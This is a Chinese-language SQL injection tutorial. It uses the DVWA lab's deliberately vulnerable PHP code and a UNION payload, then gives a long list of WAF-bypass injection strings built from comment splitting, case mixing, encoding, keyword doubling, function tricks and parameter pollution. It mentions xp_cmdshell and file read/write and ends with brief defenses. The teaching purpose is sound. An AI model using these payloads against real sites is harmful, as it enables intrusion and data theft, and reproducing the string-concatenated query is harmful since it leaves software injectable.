SQL注入

  什么是SQL注入?
  通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令;
  PS:当生活出现第三者信息传递时,中间任意一方出错,就错了,人与电脑都是如此。

0x1什么是SQL注入

还不知道什么是SQL注入?来举个栗子···

举个例子

0x01 酒囊饭饱

小美(漂亮小姐姐) | 小灰(呆萌IT男) | 小明(老师口中万年不灭的小明) | 小婷(宫心计里的心计)

  小美喜欢小明(老套路),但羞涩…于是找小灰(,让小灰去找小明,然后小明再告诉小灰,小灰再告诉小美····
  但,忽然有一天,又来一个小婷暗恋小明,小婷也羞涩… ,也找小灰,但是小婷聪明,小婷知道小美现在与小明在一起,就暗自模仿小美写情书,套路小明,找机会,而小灰呢也只管送信不问世事,后来小婷知道了小明虽然长的帅,但是个渣男,就以小美的身份提出了分手。

0x02 dvwa实践

有点抽象,下边来对应到代码中,上神器DVWA:

客户端:

<!-- -- 此处需要<Web前后台交互>知识 -->
<!--发起GET请求,提交到当前页面-->
<form action=\"#\" method=\"GET\">   
	<input type=\"text\" name=\"id\">
	<input type=\"submit\" name=\"Submit\" value=\"确定\">
</form>

服务端:

//获取前端input标签name为id的值
$id = $_GET['id'];
//拼接sql语句 **SQL注入就在这里**
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
//执行SQL语句,并获取返回结果result
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
//处理返回数据,向前端返回数据
while ($i < $num) {
    $first = mysql_result($result,$i,"first_name");
	$last = mysql_result($result,$i,"last_name");
    $html .= '<pre>';
	$html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
    $html .= '</pre>';
    $i++;
}

以上的代码运行后,用户在前台提交的信息将直接带入至sql中执行,当我们利用’闭合语句时,发现后台返回错误:
SQL注入
当我们输入’#闭合时,后台反正正常:
SQL注入
我们输入’ UNION SELECT 1,database() #,后台返回数据库名称:
SQL注入
***当后台配置不严谨时,我们不光可以获取数据库版本,还可以通过SQL写文件,提权,脱裤…等。***

0x2 SQL注入进阶

0x01 知识点

  通过上述文章,相信多数人已经了对SQL注入有一定了解,甚至觉得好简单;但是近年国家越来越关注安全,也催生了很多安全防御的产品,导致攻击的成本越来越高,难度越来越来越强;SQL注入都没有了—转行!

WAF知识: WAF简介
  - WAF是基于特征库的黑白名单 | 一定会疏漏
  - WAF只针对某些协议 | 不搞Web搞其他的

SQL知识: SQL简介
  - SQL语句是用来访问和操作数据库系统的 | 无过滤
  - SQL语句很灵活 | 只要SQL语句规范即可执行

没有环境、没有图 >> 全靠吹。
我们通过以上资料可以了解到SQL支持的所有关键字都可以组合在一句SQL中,证明只要是拼接字符串的SQL都会存在一定的问题.

0x02 基本操作

Fuzz List

符号绕过 注入语句最后加注释符,防止后边还有其他语句导致SQL错误

# mssql or Oracle or Mysql
-- 单行注释
/*多行注释*/
# mysql 特有单行注释

index?id=1+un/**/ion+sel/**/ec/**/t+1,database(),3--
# 用+、*、()替代空格
index?id=1+un/**/ion+sel/**/ec/**/t+1,database(),3--

大小写绕过 可以将关键字各种大小写反转

# sql语句不区分大小写,但是WAF区分
index?id=1+UnIOn+SElEcT+1,2,DaTAbAsE()#
index?id=1+UNioN+seLeCt+1,2,datABaSE()#

编码绕过 *URL Encode | *

# url encode
index?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3 #
# Utf-7 utf-8 utf-16 utf-32 ...
index?id=1 %u0027 SelECT 1,2,3 #
# hex 编码 
index?id=1' and hex(substr('abc',1,1)) = 61#
index?id=1' and ascii(substr('abc',1,1)) = 97#

替换关键字

index?id=1 UNIunionON SELselectECT 1,2,3,4 #

函数绕过

index?id=1' and substr('abc',1,1) = 'a' #
index?id=1' and substr('abc',1,1) = 0x61 #
index?id=1' and substr('abc',1,1) = unhex(61) #
index?id=1' and substr('abc',1,1) = char(99)#
index?id=1' and substr('abc',1,1) = ord('a') #
index?id=1' and hex(substr('abc',1,1)) = 61#
index?id=1' and ascii(substr('abc',1,1)) = 97#
index?id=1' and ord(substr('abc',1,1)) = 97#
index?id=1' and substr('abc',1,1) = lower(conv(10,10,36))#
index?id=1' or round(pi(),1)+true+true = version()#
index?id=1' or strcmp(left('password',1), 0x69) = 1#
index?id=1' or mid('abc',1,1) = ‘a’#
index?id=1' or lpad('abc',1,space(1)) = 'a'#
index?id=1' or rpad('abc',1,space(1)) = 'a'#
index?id=1' or reverse(right(reverse('abc'),1)) = 'a'#
index?id=1' or space(0) = trim(version()from(version()))#
index?id=1' or locate('a' ,'abc')
index?id=1' or position('a','abc')
index?id=1' or position('a' IN 'abc')
index?id=1' or instr('abc','a')
index?id=1' or substring_index('ab','b',1)
index?id=1' or mod('a','a')
index?id=1' or find_in_set('a','a')
index?id=1' or field('a','a')
index?id=1' or count(concat('a','a'))
index?id=1' or if('a'='a',1,0)

畸形SQL

# 超长字符,长度1000+
id=1 ' SelECT 1,2,0xAAAAAAAAAAAAAAAAAAAAAAAA...
#多对括号
id=1 ' (((((((SelECT 1,2,3)))))))
# 加花?
id=1 '/*()^&(#()*/Se/*[email protected]%^&*/lECT 1,2,/*!&^%@$*/3 #

***其实都是为了说明组合,现在的年代只有组合才能绕过WAF!***

0x03 骚操作

本章节会不断更新.

通过网站特性绕过

# 通过BurpSuit 修改HTTP Header内参数进行注入
# 数据库权限为ROOT 或具有较高权限时,可以通过load_file、outfile读写文件
# 数据库权限为ROOT 或具有较高权限时,可以通过exec执行程序
# 通过调用存储过程获取信息xp_cmdshell、xp_getfiledetails、xp_dirtree、Xp_regread

HTTP 参数污染

index?id=1'select&id=2,3,4#

0x03 防御

相信当家也听过<不知攻焉知防>的口号,看完应该也有所体会!

  • 网站开发层面: 任何从客户端来的参数,都需要Check Or Filter
  • 数据库层面: 对数据库进行权限划分,做数据层权重划分,删除不必要的扩展功能。
  • 运维方面: 及时修补服务组件漏洞!
  • 钱多可以买墙,WAF、防篡改、防泄漏、泰式按摩 - -
  • 钱不多,也应该有WAF、防火墙.